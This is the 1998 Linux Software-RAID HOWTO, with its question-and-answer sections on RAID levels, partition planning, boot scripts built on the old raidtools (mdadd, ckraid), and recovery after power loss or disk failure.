    A word of caution about the 2.1.x development kernels: these are less than stable in a variety of ways. Some of the newer disk controllers (e.g. the Promise Ultra's) are supported only in the 2.1.x kernels. However, the 2.1.x kernels have seen frequent changes in the block device driver, in the DMA and interrupt code, in the PCI, IDE and SCSI code, and in the disk controller drivers. The combination of these factors, coupled to cheapo hard drives and/or low-quality ribbon cables can lead to considerable heartbreak. The ckraid tool, as well as fsck and mount put considerable stress on the RAID subsystem. This can lead to hard lockups during boot, where even the magic alt-SysReq key sequence won't save the day. Use caution with the 2.1.x kernels, and expect trouble. Or stick to the 2.0.34 kernel.

  4. Q: I'm running an older kernel. Where do I get patches?
    A: Software RAID-0 and linear mode are a stock part of all current Linux kernels. Patches for Software RAID-1,4,5 are available from http://luthien.nuclecu.unam.mx/~miguel/raid. See also the quasi-mirror ftp://linux.kernel.org/pub/linux/daemons/raid/ for patches, tools and other goodies.
  5. Q: Are there other Linux RAID references?
    A:
    • Generic RAID overview: http://www.dpt.com/uraiddoc.html.
    • General Linux RAID options: http://linas.org/linux/raid.html.
    • Latest version of this document: http://linas.org/linux/Software-RAID/Software-RAID.html.
    • Linux-RAID mailing list archive: http://www.linuxhq.com/lnxlists/.
    • Linux Software RAID Home Page: http://luthien.nuclecu.unam.mx/~miguel/raid.
    • Linux Software RAID tools: ftp://linux.kernel.org/pub/linux/daemons/raid/.
    • How to setting up linear/stripped Software RAID: http://www.ssc.com/lg/issue17/raid.html.
    • Bootable RAID mini-HOWTO: ftp://ftp.bizsystems.com/pub/raid/bootable-raid.
    • Root RAID HOWTO: ftp://ftp.bizsystems.com/pub/raid/Root-RAID-HOWTO.
    • Linux RAID-Geschichten: http://www.infodrom.north.de/~joey/Linux/raid/.
  6. Q: Who do I blame for this document?
    A: Linas Vepstas slapped this thing together. However, most of the information, and some of the words were supplied by
    • Bradley Ward Allen < ulmo@Q.Net>
    • Luca Berra < bluca@comedia.it>
    • Brian Candler < B.Candler@pobox.com>
    • Bohumil Chalupa < bochal@apollo.karlov.mff.cuni.cz>
    • Rob Hagopian < hagopiar@vu.union.edu>
    • Anton Hristozov < anton@intransco.com>
    • Miguel de Icaza < miguel@luthien.nuclecu.unam.mx>
    • Marco Meloni < tonno@stud.unipg.it>
    • Ingo Molnar < mingo@pc7537.hil.siemens.at>
    • Alvin Oga < alvin@planet.fef.com>
    • Gadi Oxman < gadio@netvision.net.il>
    • Vaughan Pratt < pratt@cs.Stanford.EDU>
    • Steven A. Reisman < sar@pressenter.com>
    • Michael Robinton < michael@bzs.org>
    • Martin Schulze < joey@finlandia.infodrom.north.de>
    • Geoff Thompson < geofft@cs.waikato.ac.nz>
    • Edward Welbon < welbon@bga.com>
    • Rod Wilkens < rwilkens@border.net>
    • Johan Wiltink < j.m.wiltink@pi.net>
    • Leonard N. Zubkoff < lnz@dandelion.com>
    • Marc ZYNGIER < zyngier@ufr-info-p7.ibp.fr>

    Copyrights

    • Copyright (C) 1994-96 Marc ZYNGIER
    • Copyright (C) 1997 Gadi Oxman, Ingo Molnar, Miguel de Icaza
    • Copyright (C) 1997, 1998 Linas Vepstas
    • By copyright law, additional copyrights are implicitly held by the contributors listed above.

    Thanks all for being there!


Software-RAID HOWTO: Understanding RAID

 Next Previous Contents

2. Understanding RAID

  1. Q: What is RAID? Why would I ever use it?
    A: RAID is a way of combining multiple disk drives into a single entity to improve performance and/or reliability. There are a variety of different types and implementations of RAID, each with its own advantages and disadvantages. For example, by putting a copy of the same data on two disks (called disk mirroring, or RAID level 1), read performance can be improved by reading alternately from each disk in the mirror. On average, each disk is less busy, as it is handling only 1/2 the reads (for two disks), or 1/3 (for three disks), etc. In addition, a mirror can improve reliability: if one disk fails, the other disk(s) have a copy of the data. Different ways of combining the disks into one, referred to as RAID levels, can provide greater storage efficiency than simple mirroring, or can alter latency (access-time) performance, or throughput (transfer rate) performance, for reading or writing, while still retaining redundancy that is useful for guarding against failures.

    Although RAID can protect against disk failure, it does not protect against operator and administrator (human) error, or against loss due to programming bugs (possibly due to bugs in the RAID software itself). The net abounds with tragic tales of system administrators who have bungled a RAID installation, and have lost all of their data. RAID is not a substitute for frequent, regularly scheduled backup.

    RAID can be implemented in hardware, in the form of special disk controllers, or in software, as a kernel module that is layered in between the low-level disk driver, and the file system which sits above it. RAID hardware is always a "disk controller", that is, a device to which one can cable up the disk drives. Usually it comes in the form of an adapter card that will plug into a ISA/EISA/PCI/S-Bus/MicroChannel slot. However, some RAID controllers are in the form of a box that connects into the cable in between the usual system disk controller, and the disk drives. Small ones may fit into a drive bay; large ones may be built into a storage cabinet with its own drive bays and power supply. The latest RAID hardware used with the latest & fastest CPU will usually provide the best overall performance, although at a significant price. This is because most RAID controllers come with on-board DSP's and memory cache that can off-load a considerable amount of processing from the main CPU, as well as allow high transfer rates into the large controller cache. Old RAID hardware can act as a "de-accelerator" when used with newer CPU's: yesterday's fancy DSP and cache can act as a bottleneck, and it's performance is often beaten by pure-software RAID and new but otherwise plain, run-of-the-mill disk controllers. RAID hardware can offer an advantage over pure-software RAID, if it can makes use of disk-spindle synchronization and its knowledge of the disk-platter position with regard to the disk head, and the desired disk-block. However, most modern (low-cost) disk drives do not offer this information and level of control anyway, and thus, most RAID hardware does not take advantage of it. RAID hardware is usually not compatible across different brands, makes and models: if a RAID controller fails, it must be replaced by another controller of the same type. As of this writing (June 1998), a broad variety of hardware controllers will operate under Linux; however, none of them currently come with configuration and management utilities that run under Linux.

    Software-RAID is a set of kernel modules, together with management utilities that implement RAID purely in software, and require no extraordinary hardware. The Linux RAID subsystem is implemented as a layer in the kernel that sits above the low-level disk drivers (for IDE, SCSI and Paraport drives), and the block-device interface. The filesystem, be it ext2fs, DOS-FAT, or other, sits above the block-device interface. Software-RAID, by its very software nature, tends to be more flexible than a hardware solution. The downside is that it of course requires more CPU cycles and power to run well than a comparable hardware system. Of course, the cost can't be beat. Software RAID has one further important distinguishing feature: it operates on a partition-by-partition basis, where a number of individual disk partitions are ganged together to create a RAID partition. This is in contrast to most hardware RAID solutions, which gang together entire disk drives into an array. With hardware, the fact that there is a RAID array is transparent to the operating system, which tends to simplify management. With software, there are far more configuration options and choices, tending to complicate matters.

    As of this writing (June 1998), the administration of RAID under Linux is far from trivial, and is best attempted by experienced system administrators. The theory of operation is complex. The system tools require modification to startup scripts. And recovery from disk failure is non-trivial, and prone to human error. RAID is not for the novice, and any benefits it may bring to reliability and performance can be easily outweighed by the extra complexity. Indeed, modern disk drives are incredibly reliable and modern CPU's and controllers are quite powerful. You might more easily obtain the desired reliability and performance levels by purchasing higher-quality and/or faster hardware.

  2. Q: What are RAID levels? Why so many? What distinguishes them?
    A: The different RAID levels have different performance, redundancy, storage capacity, reliability and cost characteristics. Most, but not all levels of RAID offer redundancy against disk failure. Of those that offer redundancy, RAID-1 and RAID-5 are the most popular. RAID-1 offers better performance, while RAID-5 provides for more efficient use of the available storage space. However, tuning for performance is an entirely different matter, as performance depends strongly on a large variety of factors, from the type of application, to the sizes of stripes, blocks, and files. The more difficult aspects of performance tuning are deferred to a later section of this HOWTO.

    The following describes the different RAID levels in the context of the Linux software RAID implementation.

    • RAID-linear is a simple concatenation of partitions to create a larger virtual partition. It is handy if you have a number small drives, and wish to create a single, large partition. This concatenation offers no redundancy, and in fact decreases the overall reliability: if any one disk fails, the combined partition will fail.

    • RAID-1 is also referred to as "mirroring". Two (or more) partitions, all of the same size, each store an exact copy of all data, disk-block by disk-block. Mirroring gives strong protection against disk failure: if one disk fails, there is another with the an exact copy of the same data. Mirroring can also help improve performance in I/O-laden systems, as read requests can be divided up between several disks. Unfortunately, mirroring is also the least efficient in terms of storage: two mirrored partitions can store no more data than a single partition.

    • Striping is the underlying concept behind all of the other RAID levels. A stripe is a contiguous sequence of disk blocks. A stripe may be as short as a single disk block, or may consist of thousands. The RAID drivers split up their component disk partitions into stripes; the different RAID levels differ in how they organize the stripes, and what data they put in them. The interplay between the size of the stripes, the typical size of files in the file system, and their location on the disk is what determines the overall performance of the RAID subsystem.

    • RAID-0 is much like RAID-linear, except that the component partitions are divided into stripes and then interleaved. Like RAID-linear, the result is a single larger virtual partition. Also like RAID-linear, it offers no redundancy, and therefore decreases overall reliability: a single disk failure will knock out the whole thing. RAID-0 is often claimed to improve performance over the simpler RAID-linear. However, this may or may not be true, depending on the characteristics to the file system, the typical size of the file as compared to the size of the stripe, and the type of workload. The ext2fs file system already scatters files throughout a partition, in an effort to minimize fragmentation. Thus, at the simplest level, any given access may go to one of several disks, and thus, the interleaving of stripes across multiple disks offers no apparent additional advantage. However, there are performance differences, and they are data, workload, and stripe-size dependent.

    • RAID-4 interleaves stripes like RAID-0, but it requires an additional partition to store parity information. The parity is used to offer redundancy: if any one of the disks fail, the data on the remaining disks can be used to reconstruct the data that was on the failed disk. Given N data disks, and one parity disk, the parity stripe is computed by taking one stripe from each of the data disks, and XOR'ing them together. Thus, the storage capacity of a an (N+1)-disk RAID-4 array is N, which is a lot better than mirroring (N+1) drives, and is almost as good as a RAID-0 setup for large N. Note that for N=1, where there is one data drive, and one parity drive, RAID-4 is a lot like mirroring, in that each of the two disks is a copy of each other. However, RAID-4 does NOT offer the read-performance of mirroring, and offers considerably degraded write performance. In brief, this is because updating the parity requires a read of the old parity, before the new parity can be calculated and written out. In an environment with lots of writes, the parity disk can become a bottleneck, as each write must access the parity disk.

    • RAID-5 avoids the write-bottleneck of RAID-4 by alternately storing the parity stripe on each of the drives. However, write performance is still not as good as for mirroring, as the parity stripe must still be read and XOR'ed before it is written. Read performance is also not as good as it is for mirroring, as, after all, there is only one copy of the data, not two or more. RAID-5's principle advantage over mirroring is that it offers redundancy and protection against single-drive failure, while offering far more storage capacity when used with three or more drives.

    • RAID-2 and RAID-3 are seldom used anymore, and to some degree are have been made obsolete by modern disk technology. RAID-2 is similar to RAID-4, but stores ECC information instead of parity. Since all modern disk drives incorporate ECC under the covers, this offers little additional protection. RAID-2 can offer greater data consistency if power is lost during a write; however, battery backup and a clean shutdown can offer the same benefits. RAID-3 is similar to RAID-4, except that it uses the smallest possible stripe size. As a result, any given read will involve all disks, making overlapping I/O requests difficult/impossible. In order to avoid delay due to rotational latency, RAID-3 requires that all disk drive spindles be synchronized. Most modern disk drives lack spindle-synchronization ability, or, if capable of it, lack the needed connectors, cables, and manufacturer documentation. Neither RAID-2 nor RAID-3 are supported by the Linux Software-RAID drivers.

    • Other RAID levels have been defined by various researchers and vendors. Many of these represent the layering of one type of raid on top of another. Some require special hardware, and others are protected by patent. There is no commonly accepted naming scheme for these other levels. Sometime the advantages of these other systems are minor, or at least not apparent until the system is highly stressed. Except for the layering of RAID-1 over RAID-0/linear, Linux Software RAID does not support any of the other variations.


Software-RAID HOWTO: Setup & Installation Considerations

 Next Previous Contents

3. Setup & Installation Considerations

  1. Q: What is the best way to configure Software RAID?
    A: I keep rediscovering that file-system planning is one of the more difficult Unix configuration tasks. To answer your question, I can describe what we did. We planned the following setup:
    • two EIDE disks, 2.1.gig each.
      disk partition mount pt.  size    device
  1      1       /        300M   /dev/hda1
  1      2       swap      64M   /dev/hda2
  1      3       /home    800M   /dev/hda3
  1      4       /var     900M   /dev/hda4

  2      1       /root    300M   /dev/hdc1
  2      2       swap      64M   /dev/hdc2
  2      3       /home    800M   /dev/hdc3
  2      4       /var     900M   /dev/hdc4
    • Each disk is on a separate controller (& ribbon cable). The theory is that a controller failure and/or ribbon failure won't disable both disks. Also, we might possibly get a performance boost from parallel operations over two controllers/cables.
    • Install the Linux kernel on the root (/) partition /dev/hda1. Mark this partition as bootable.
    • /dev/hdc1 will contain a ``cold'' copy of /dev/hda1. This is NOT a raid copy, just a plain old copy-copy. It's there just in case the first disk fails; we can use a rescue disk, mark /dev/hdc1 as bootable, and use that to keep going without having to reinstall the system. You may even want to put /dev/hdc1's copy of the kernel into LILO to simplify booting in case of failure. The theory here is that in case of severe failure, I can still boot the system without worrying about raid superblock-corruption or other raid failure modes & gotchas that I don't understand.
    • /dev/hda3 and /dev/hdc3 will be mirrors /dev/md0.
    • /dev/hda4 and /dev/hdc4 will be mirrors /dev/md1.
    • we picked /var and /home to be mirrored, and in separate partitions, using the following logic:
      • / (the root partition) will contain relatively static, non-changing data: for all practical purposes, it will be read-only without actually being marked & mounted read-only.
      • /home will contain ''slowly'' changing data.
      • /var will contain rapidly changing data, including mail spools, database contents and web server logs.
      The idea behind using multiple, distinct partitions is that if, for some bizarre reason, whether it is human error, power loss, or an operating system gone wild, corruption is limited to one partition. In one typical case, power is lost while the system is writing to disk. This will almost certainly lead to a corrupted filesystem, which will be repaired by fsck during the next boot. Although fsck does it's best to make the repairs without creating additional damage during those repairs, it can be comforting to know that any such damage has been limited to one partition. In another typical case, the sysadmin makes a mistake during rescue operations, leading to erased or destroyed data. Partitions can help limit the repercussions of the operator's errors.
    • Other reasonable choices for partitions might be /usr or /opt. In fact, /opt and /home make great choices for RAID-5 partitions, if we had more disks. A word of caution: DO NOT put /usr in a RAID-5 partition. If a serious fault occurs, you may find that you cannot mount /usr, and that you want some of the tools on it (e.g. the networking tools, or the compiler.) With RAID-1, if a fault has occurred, and you can't get RAID to work, you can at least mount one of the two mirrors. You can't do this with any of the other RAID levels (RAID-5, striping, or linear append).

    So, to complete the answer to the question:

    • install the OS on disk 1, partition 1. do NOT mount any of the other partitions.
    • install RAID per instructions.
    • configure md0 and md1.
    • convince yourself that you know what to do in case of a disk failure! Discover sysadmin mistakes now, and not during an actual crisis. Experiment! (we turned off power during disk activity — this proved to be ugly but informative).
    • do some ugly mount/copy/unmount/rename/reboot scheme to move /var over to the /dev/md1. Done carefully, this is not dangerous.
    • enjoy!
  2. Q: What is the difference between the mdadd, mdrun, etc. commands, and the raidadd, raidrun commands?
    A: The names of the tools have changed as of the 0.5 release of the raidtools package. The md naming convention was used in the 0.43 and older versions, while raid is used in 0.5 and newer versions.
  3. Q: I want to run RAID-linear/RAID-0 in the stock 2.0.34 kernel. I don't want to apply the raid patches, since these are not needed for RAID-0/linear. Where can I get the raid-tools to manage this?
    A: This is a tough question, indeed, as the newest raid tools package needs to have the RAID-1,4,5 kernel patches installed in order to compile. I am not aware of any pre-compiled, binary version of the raid tools that is available at this time. However, experiments show that the raid-tools binaries, when compiled against kernel 2.1.100, seem to work just fine in creating a RAID-0/linear partition under 2.0.34. A brave soul has asked for these, and I've temporarily placed the binaries mdadd, mdcreate, etc. at http://linas.org/linux/Software-RAID/ You must get the man pages, etc. from the usual raid-tools package.
  4. Q: Can I strip/mirror the root partition (/)? Why can't I boot Linux directly from the md disks?
    A: Both LILO and Loadlin need an non-stripped/mirrored partition to read the kernel image from. If you want to strip/mirror the root partition (/), then you'll want to create an unstriped/mirrored partition to hold the kernel(s). Typically, this partition is named /boot. Then you either use the initial ramdisk support (initrd), or patches from Harald Hoyer < HarryH@Royal.Net> that allow a stripped partition to be used as the root device. (These patches are now a standard part of recent 2.1.x kernels)

    There are several approaches that can be used. One approach is documented in detail in the Bootable RAID mini-HOWTO: ftp://ftp.bizsystems.com/pub/raid/bootable-raid.

    Alternately, use mkinitrd to build the ramdisk image, see below.

    Edward Welbon < welbon@bga.com> writes:

    • ... all that is needed is a script to manage the boot setup. To mount an md filesystem as root, the main thing is to build an initial file system image that has the needed modules and md tools to start md. I have a simple script that does this.
    • For boot media, I have a small cheap SCSI disk (170MB I got it used for $20). This disk runs on a AHA1452, but it could just as well be an inexpensive IDE disk on the native IDE. The disk need not be very fast since it is mainly for boot.
    • This disk has a small file system which contains the kernel and the file system image for initrd. The initial file system image has just enough stuff to allow me to load the raid SCSI device driver module and start the raid partition that will become root. I then do an
      echo 0x900 > /proc/sys/kernel/real-root-dev
      (0x900 is for /dev/md0) and exit linuxrc. The boot proceeds normally from there.
    • I have built most support as a module except for the AHA1452 driver that brings in the initrd filesystem. So I have a fairly small kernel. The method is perfectly reliable, I have been doing this since before 2.1.26 and have never had a problem that I could not easily recover from. The file systems even survived several 2.1.4[45] hard crashes with no real problems.
    • At one time I had partitioned the raid disks so that the initial cylinders of the first raid disk held the kernel and the initial cylinders of the second raid disk hold the initial file system image, instead I made the initial cylinders of the raid disks swap since they are the fastest cylinders (why waste them on boot?).
    • The nice thing about having an inexpensive device dedicated to boot is that it is easy to boot from and can also serve as a rescue disk if necessary. If you are interested, you can take a look at the script that builds my initial ram disk image and then runs LILO.
      http://www.realtime.net/~welbon/initrd.md.tar.gz
      It is current enough to show the picture. It isn't especially pretty and it could certainly build a much smaller filesystem image for the initial ram disk. It would be easy to a make it more efficient. But it uses LILO as is. If you make any improvements, please forward a copy to me. 8-)
  5. Q: I have heard that I can run mirroring over striping. Is this true? Can I run mirroring over the loopback device?
    A: Yes, but not the reverse. That is, you can put a stripe over several disks, and then build a mirror on top of this. However, striping cannot be put on top of mirroring.

    A brief technical explanation is that the linear and stripe personalities use the ll_rw_blk routine for access. The ll_rw_blk routine maps disk devices and sectors, not blocks. Block devices can be layered one on top of the other; but devices that do raw, low-level disk accesses, such as ll_rw_blk, cannot.

    Currently (November 1997) RAID cannot be run over the loopback devices, although this should be fixed shortly.

  6. Q: I have two small disks and three larger disks. Can I concatenate the two smaller disks with RAID-0, and then create a RAID-5 out of that and the larger disks?
    A: Currently (November 1997), for a RAID-5 array, no. Currently, one can do this only for a RAID-1 on top of the concatenated drives.
  7. Q: What is the difference between RAID-1 and RAID-5 for a two-disk configuration (i.e. the difference between a RAID-1 array built out of two disks, and a RAID-5 array built out of two disks)?
    A: There is no difference in storage capacity. Nor can disks be added to either array to increase capacity (see the question below for details).

    RAID-1 offers a performance advantage for reads: the RAID-1 driver uses distributed-read technology to simultaneously read two sectors, one from each drive, thus doubling read performance.

    The RAID-5 driver, although it contains many optimizations, does not currently (September 1997) realize that the parity disk is actually a mirrored copy of the data disk. Thus, it serializes data reads.

  8. Q: How can I guard against a two-disk failure?
    A: Some of the RAID algorithms do guard against multiple disk failures, but these are not currently implemented for Linux. However, the Linux Software RAID can guard against multiple disk failures by layering an array on top of an array. For example, nine disks can be used to create three raid-5 arrays. Then these three arrays can in turn be hooked together into a single RAID-5 array on top. In fact, this kind of a configuration will guard against a three-disk failure. Note that a large amount of disk space is ''wasted'' on the redundancy information.
        For an NxN raid-5 array,
    N=3, 5 out of 9 disks are used for parity (=55%)
    N=4, 7 out of 16 disks
    N=5, 9 out of 25 disks
    ...
    N=9, 17 out of 81 disks (=~20%)
    In general, an MxN array will use M+N-1 disks for parity. The least amount of space is "wasted" when M=N.

    Another alternative is to create a RAID-1 array with three disks. Note that since all three disks contain identical data, that 2/3's of the space is ''wasted''.

  9. Q: I'd like to understand how it'd be possible to have something like fsck: if the partition hasn't been cleanly unmounted, fsck runs and fixes the filesystem by itself more than 90% of the time. Since the machine is capable of fixing it by itself with ckraid --fix, why not make it automatic?
    A: This can be done by adding lines like the following to /etc/rc.d/rc.sysinit:
        mdadd /dev/md0 /dev/hda1 /dev/hdc1 || {
        ckraid --fix /etc/raid.usr.conf
        mdadd /dev/md0 /dev/hda1 /dev/hdc1
    }
    or
        mdrun -p1 /dev/md0
    if [ $? -gt 0 ] ; then
            ckraid --fix /etc/raid1.conf
            mdrun -p1 /dev/md0
    fi
    Before presenting a more complete and reliable script, lets review the theory of operation. Gadi Oxman writes: In an unclean shutdown, Linux might be in one of the following states:
    • The in-memory disk cache was in sync with the RAID set when the unclean shutdown occurred; no data was lost.
    • The in-memory disk cache was newer than the RAID set contents when the crash occurred; this results in a corrupted filesystem and potentially in data loss. This state can be further divided to the following two states:
      • Linux was writing data when the unclean shutdown occurred.
      • Linux was not writing data when the crash occurred.
    Suppose we were using a RAID-1 array. In (2a), it might happen that before the crash, a small number of data blocks were successfully written only to some of the mirrors, so that on the next reboot, the mirrors will no longer contain the same data. If we were to ignore the mirror differences, the raidtools-0.36.3 read-balancing code might choose to read the above data blocks from any of the mirrors, which will result in inconsistent behavior (for example, the output of e2fsck -n /dev/md0 can differ from run to run).

    Since RAID doesn't protect against unclean shutdowns, usually there isn't any ''obviously correct'' way to fix the mirror differences and the filesystem corruption.

    For example, by default ckraid --fix will choose the first operational mirror and update the other mirrors with its contents. However, depending on the exact timing at the crash, the data on another mirror might be more recent, and we might want to use it as the source mirror instead, or perhaps use another method for recovery.

    The following script provides one of the more robust boot-up sequences. In particular, it guards against long, repeated ckraid's in the presence of uncooperative disks, controllers, or controller device drivers. Modify it to reflect your config, and copy it to rc.raid.init. Then invoke rc.raid.init after the root partition has been fsck'ed and mounted rw, but before the remaining partitions are fsck'ed. Make sure the current directory is in the search path.

        mdadd /dev/md0 /dev/hda1 /dev/hdc1 || {
        rm -f /fastboot             # force an fsck to occur
        ckraid --fix /etc/raid.usr.conf
        mdadd /dev/md0 /dev/hda1 /dev/hdc1
    }
    # if a crash occurs later in the boot process,
    # we at least want to leave this md in a clean state.
    /sbin/mdstop /dev/md0

    mdadd /dev/md1 /dev/hda2 /dev/hdc2 || {
        rm -f /fastboot             # force an fsck to occur
        ckraid --fix /etc/raid.home.conf
        mdadd /dev/md1 /dev/hda2 /dev/hdc2
    }
    # if a crash occurs later in the boot process,
    # we at least want to leave this md in a clean state.
    /sbin/mdstop /dev/md1

    mdadd /dev/md0 /dev/hda1 /dev/hdc1
    mdrun -p1 /dev/md0
    if [ $? -gt 0 ] ; then
        rm -f /fastboot             # force an fsck to occur
        ckraid --fix /etc/raid.usr.conf
        mdrun -p1 /dev/md0
    fi
    # if a crash occurs later in the boot process,
    # we at least want to leave this md in a clean state.
    /sbin/mdstop /dev/md0

    mdadd /dev/md1 /dev/hda2 /dev/hdc2
    mdrun -p1 /dev/md1
    if [ $? -gt 0 ] ; then
        rm -f /fastboot             # force an fsck to occur
        ckraid --fix /etc/raid.home.conf
        mdrun -p1 /dev/md1
    fi
    # if a crash occurs later in the boot process,
    # we at least want to leave this md in a clean state.
    /sbin/mdstop /dev/md1

    # OK, just blast through the md commands now.  If there were
    # errors, the above checks should have fixed things up.
    /sbin/mdadd /dev/md0 /dev/hda1 /dev/hdc1
    /sbin/mdrun -p1 /dev/md0

    /sbin/mdadd /dev/md12 /dev/hda2 /dev/hdc2
    /sbin/mdrun -p1 /dev/md1
    In addition to the above, you'll want to create a rc.raid.halt which should look like the following:
        /sbin/mdstop /dev/md0
    /sbin/mdstop /dev/md1
    Be sure to modify both rc.sysinit and init.d/halt to include this everywhere that filesystems get unmounted before a halt/reboot. (Note that rc.sysinit unmounts and reboots if fsck returned with an error.)

  10. Q: Can I set up one-half of a RAID-1 mirror with the one disk I have now, and then later get the other disk and just drop it in?
    A: With the current tools, no, not in any easy way. In particular, you cannot just copy the contents of one disk onto another, and then pair them up. This is because the RAID drivers use glob of space at the end of the partition to store the superblock. This decreases the amount of space available to the file system slightly; if you just naively try to force a RAID-1 arrangement onto a partition with an existing filesystem, the raid superblock will overwrite a portion of the file system and mangle data. Since the ext2fs filesystem scatters files randomly throughput the partition (in order to avoid fragmentation), there is a very good chance that some file will land at the very end of a partition long before the disk is full.

    If you are clever, I suppose you can calculate how much room the RAID superblock will need, and make your filesystem slightly smaller, leaving room for it when you add it later. But then, if you are this clever, you should also be able to modify the tools to do this automatically for you. (The tools are not terribly complex).

    Note:A careful reader has pointed out that the following trick may work; I have not tried or verified this: Do the mkraid with /dev/null as one of the devices. Then mdadd -r with only the single, true disk (do not mdadd /dev/null). The mkraid should have successfully built the raid array, while the mdadd step just forces the system to run in "degraded" mode, as if one of the disks had failed.


Software-RAID HOWTO: Error Recovery

 Next Previous Contents

4. Error Recovery

  1. Q: I have a RAID-1 (mirroring) setup, and lost power while there was disk activity. Now what do I do?
    A: The redundancy of RAID levels is designed to protect against a disk failure, not against a power failure. There are several ways to recover from this situation.
    • Method (1): Use the raid tools. These can be used to sync the raid arrays. They do not fix file-system damage; after the raid arrays are sync'ed, then the file-system still has to be fixed with fsck. Raid arrays can be checked with ckraid /etc/raid1.conf (for RAID-1, else, /etc/raid5.conf, etc.) Calling ckraid /etc/raid1.conf --fix will pick one of the disks in the array (usually the first), and use that as the master copy, and copy its blocks to the others in the mirror. To designate which of the disks should be used as the master, you can use the --force-source flag: for example, ckraid /etc/raid1.conf --fix --force-source /dev/hdc3 The ckraid command can be safely run without the --fix option to verify the inactive RAID array without making any changes. When you are comfortable with the proposed changes, supply the --fix option.
    • Method (2): Paranoid, time-consuming, not much better than the first way. Lets assume a two-disk RAID-1 array, consisting of partitions /dev/hda3 and /dev/hdc3. You can try the following:
      1. fsck /dev/hda3
      2. fsck /dev/hdc3
      3. decide which of the two partitions had fewer errors, or were more easily recovered, or recovered the data that you wanted. Pick one, either one, to be your new ``master'' copy. Say you picked /dev/hdc3.
      4. dd if=/dev/hdc3 of=/dev/hda3
      5. mkraid raid1.conf -f --only-superblock
      Instead of the last two steps, you can instead run ckraid /etc/raid1.conf --fix --force-source /dev/hdc3 which should be a bit faster.
    • Method (3): Lazy man's version of above. If you don't want to wait for long fsck's to complete, it is perfectly fine to skip the first three steps above, and move directly to the last two steps. Just be sure to run fsck /dev/md0 after you are done. Method (3) is actually just method (1) in disguise.
    In any case, the above steps will only sync up the raid arrays. The file system probably needs fixing as well: for this, fsck needs to be run on the active, unmounted md device.

    With a three-disk RAID-1 array, there are more possibilities, such as using two disks to ''vote'' a majority answer. Tools to automate this do not currently (September 97) exist.

  2. Q: I have a RAID-4 or a RAID-5 (parity) setup, and lost power while there was disk activity. Now what do I do?
    A: The redundancy of RAID levels is designed to protect against a disk failure, not against a power failure. Since the disks in a RAID-4 or RAID-5 array do not contain a file system that fsck can read, there are fewer repair options. You cannot use fsck to do preliminary checking and/or repair; you must use ckraid first.

    The ckraid command can be safely run without the --fix option to verify the inactive RAID array without making any changes. When you are comfortable with the proposed changes, supply the --fix option.

    If you wish, you can try designating one of the disks as a ''failed disk''. Do this with the --suggest-failed-disk-mask flag.

    Only one bit should be set in the flag: RAID-5 cannot recover two failed disks. The mask is a binary bit mask: thus:

        0x1 == first disk
    0x2 == second disk
    0x4 == third disk
    0x8 == fourth disk, etc.

    Alternately, you can choose to modify the parity sectors, by using the --suggest-fix-parity flag. This will recompute the parity from the other sectors.

    The flags --suggest-failed-dsk-mask and --suggest-fix-parity can be safely used for verification. No changes are made if the --fix flag is not specified. Thus, you can experiment with different possible repair schemes.

  3. Q: My RAID-1 device, /dev/md0 consists of two hard drive partitions: /dev/hda3 and /dev/hdc3. Recently, the disk with /dev/hdc3 failed, and was replaced with a new disk. My best friend, who doesn't understand RAID, said that the correct thing to do now is to ''dd if=/dev/hda3 of=/dev/hdc3''. I tried this, but things still don't work.
    A: You should keep your best friend away from you computer. Fortunately, no serious damage has been done. You can recover from this by running:
    mkraid raid1.conf -f --only-superblock
    By using dd, two identical copies of the partition were created. This is almost correct, except that the RAID-1 kernel extension expects the RAID superblocks to be different. Thus, when you try to reactivate RAID, the software will notice the problem, and deactivate one of the two partitions. By re-creating the superblock, you should have a fully usable system.
  4. Q: My version of mkraid doesn't have a --only-superblock flag. What do I do?
    A: The newer tools drop support for this flag, replacing it with the --force-resync flag. It has been reported that the following sequence appears to work with the latest tools and software:
      umount /web (where /dev/md0 was mounted on)
  raidstop /dev/md0
  mkraid /dev/md0 --force-resync --really-force
  raidstart /dev/md0
    After doing this, a cat /proc/mdstat should report resync in progress, and one should be able to mount /dev/md0 at this point.
  5. Q: My RAID-1 device, /dev/md0 consists of two hard drive partitions: /dev/hda3 and /dev/hdc3. My best (girl?)friend, who doesn't understand RAID, ran fsck on /dev/hda3 while I wasn't looking, and now the RAID won't work. What should I do?
    A: You should re-examine your concept of ``best friend''. In general, fsck should never be run on the individual partitions that compose a RAID array. Assuming that neither of the partitions are/were heavily damaged, no data loss has occurred, and the RAID-1 device can be recovered as follows:
    1. make a backup of the file system on /dev/hda3
    2. dd if=/dev/hda3 of=/dev/hdc3
    3. mkraid raid1.conf -f --only-superblock
    This should leave you with a working disk mirror.
  6. Q: Why does the above work as a recovery procedure?
    A: Because each of the component partitions in a RAID-1 mirror is a perfectly valid copy of the file system. In a pinch, mirroring can be disabled, and one of the partitions can be mounted and safely run as an ordinary, non-RAID file system. When you are ready to restart using RAID-1, then unmount the partition, and follow the above instructions to restore the mirror. Note that the above works ONLY for RAID-1, and not for any of the other levels.

    It may make you feel more comfortable to reverse the direction of the copy above: copy from the disk that was untouched to the one that was. Just be sure to fsck the final md.

  7. Q: I am confused by the above questions, but am not yet bailing out. Is it safe to run fsck /dev/md0 ?
    A: Yes, it is safe to run fsck on the md devices. In fact, this is the only safe place to run fsck.
  8. Q: If a disk is slowly failing, will it be obvious which one it is? I am concerned that it won't be, and this confusion could lead to some dangerous decisions by a sysadmin.
    A: Once a disk fails, an error code will be returned from the low level driver to the RAID driver. The RAID driver will mark it as ``bad'' in the RAID superblocks of the ``good'' disks (so we will later know which mirrors are good and which aren't), and continue RAID operation on the remaining operational mirrors.

    This, of course, assumes that the disk and the low level driver can detect a read/write error, and will not silently corrupt data, for example. This is true of current drives (error detection schemes are being used internally), and is the basis of RAID operation.

  9. Q: What about hot-repair?
    A: Work is underway to complete ``hot reconstruction''. With this feature, one can add several ``spare'' disks to the RAID set (be it level 1 or 4/5), and once a disk fails, it will be reconstructed on one of the spare disks in run time, without ever needing to shut down the array.

    However, to use this feature, the spare disk must have been declared at boot time, or it must be hot-added, which requires the use of special cabinets and connectors that allow a disk to be added while the electrical power is on.

    As of October 97, there is a beta version of MD that allows:

    • RAID 1 and 5 reconstruction on spare drives
    • RAID-5 parity reconstruction after an unclean shutdown
    • spare disk to be hot-added to an already running RAID 1 or 4/5 array
    By default, automatic reconstruction is (Dec 97) currently disabled by default, due to the preliminary nature of this work. It can be enabled by changing the value of SUPPORT_RECONSTRUCTION in include/linux/md.h.

